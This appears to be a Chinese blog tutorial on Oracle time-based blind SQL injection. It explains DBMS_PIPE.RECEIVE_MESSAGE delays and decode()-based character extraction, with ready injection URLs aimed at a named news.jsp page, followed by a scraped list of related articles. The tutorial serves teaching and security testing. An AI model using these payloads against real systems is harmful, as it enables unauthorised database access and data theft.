oracle 布尔盲注,Oracle基于延时的盲注总结
0x00 前言
oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注;
oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
0x01 DBMS_PIPE.RECEIVE_MESSAGE()函数延时盲注
DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。
首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。
在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:
dbms_pipe.receive_message('RDS', 10)
DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。
延迟盲注中的应用:
http://www.jsporcle.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--http://www.jsporcle.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--
如果页面延时10秒返回,即存在注入。
来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法:
DBMS_PIPE.RECEIVE_MESSAGE (
pipename IN VARCHAR2,
timeout IN INTEGER DEFAULT maxwait)
RETURN INTEGER;
可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)
0x02 decode函数延时盲注
decode不仅可以在布尔盲注中运用,也可以用在延迟盲注中。
在decode注入里加入延时语句。这里加入了我们的dbms_pipe.receive_message函数。
and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --
当然,这里延迟的操作不一定用延迟函数,也可以使用花费更多时间去查询所有数据库的条目。例如:
(select count(*) from all_objects)
http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1'
通过这种明显时间差也能判断注入表达式的结果。
oracle 布尔盲注,Oracle基于延时的盲注总结相关推荐
- mysql基于时间盲注_MYSQL基于时间的盲注详解
MYSQL基于时间的盲注 联合查询,报错注入,以及布尔盲注,都是基于攻击网站会回显消息,或者将错误信息返回在前端,或者会返回web页面的正确或错误 但是有时候网站关闭了错误回显或过滤了某些关键字,网页 ...
- SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!
在上一次讲解了lesson -1的sql基本注入,我们在注入的时候,它会返回错误信息 但是盲注不会:什么是盲注:我理解的盲注是,web页面并不会返回错误信息,需要自己添加一些命令来让浏览器进行一些显而 ...
- SQL注入——基于时间的盲注(九)
本章目的 普及延时盲注技术的运用场景及条件,熟悉length().Substr().ascii().sleep().if()等函数的用法,掌握基于时间的盲注基本流程.PS:面试问答不深问就回答延迟 基 ...
- 渗透测试——sql注入进阶/基于时间的盲注/一看就会/
目录 一.注入点判断 注入类型 SQL注入的类型 二.基于时间的时间盲注 什么是时间盲注 sleep()函数 常用函数 三.bWAPP基于时间的盲注实战 一.注入点判断 1.输入一个单引号',因为语句 ...
- oracle客户端工具_Oracle 发布基于 VS Code 的开发者工具,轻松连接 Oracle 数据库
在之前的文章中,我们提到了亚马逊.谷歌.IBM 等大厂都上了 Visual Studio Code 的船. 今天(北京时间 2019 年 6 月 20 日),甲骨文也上了 VS Code 的船,发布了 ...
- oracle optimizer_features_enable,Oracle Optimizer:迁移到使用基于成本的优化器—–系列2.1-数据库专栏,ORACLE...
oracle optimizer:迁移到使用基于成本的优化器-–系列2.1 系列之二包含影响优化器选择执行计划的初始化参数和oracle内部隐藏参数,合理设置这些参数对于优化器是相当重要的. 6.影响 ...
- mysql延迟注入br,实验3—SQL注入漏洞的攻击与防御(基于时间延迟的盲注)
1.实验名称 SQL报错注入 2.实验环境 1.攻击机系统环境:Windows 7/8/10 2.浏览器:Firefox 53.0.2(64位) 3.浏览器插件HackBar 1.6.3.1 3.实验 ...
- SQL注入——基于时间的盲注(sqli-labs less9)
一.基于时间得盲注 适用场景:没有数据回显,条件正确与否结果一样 利用方式:构造判断条件,添加sleep,逐个猜测(盲猜) 1.所需语法与函数 IF表达式 IF( expr1 , expr2 , ex ...
- 生产上oracle扩展表空间,oracle基于裸设备(raw device)扩充表空间
首先在oracle中查询表空间的使用情况,确认是哪个表空间不足. select df.tablespace_name "Tablespace",df.bytes/(1024*102 ...
最新文章
- linux下如何修改系统时间
- FPGA之道(60)时空变换之空域优化
- POJ 2054 Color a Tree (贪心)
- 电脑内部录音教程Virtual Audio Cable使用教程
- 认识Mahout下的云计算机器学习
- 敏捷数据科学pdf_敏捷数据科学数据科学可以并且应该是敏捷的
- php fpm在哪配置,php7的php-fpm.conf文件在哪里
- mybatis不等于某个字符串的值_MyBatis 的 4 个妙用,别再踩坑了!
- Linux无线网络文件传输慢,在Deepin 20下QQ和TIM不能下载上传文件及无线wifi速度慢的解决...
- php 过滤微信符号昵称,PHP方法处理微信昵称特殊符号过滤_后端开发
- 计算机 在哪看是什么32位,如何查看自己的电脑是32位的还是64位
- 实验三 类与对象的定义和使用
- 网络故障检查、PING命令使用(实测)
- java 周次_JAVA计算学校学期周次
- Anaconda navigator打不开,一直卡在loading application
- 我辛辛苦苦做了一个月的项目,组长年底用来写了晋升PPT
- 模态分析中的阶数理解
- csdn markdown编辑器设置字体大小和颜色换行
- 9 个建议,助你度过寒冬
- 基于 ESP8266 的智能家居开源解决方案 【文章结尾有资料】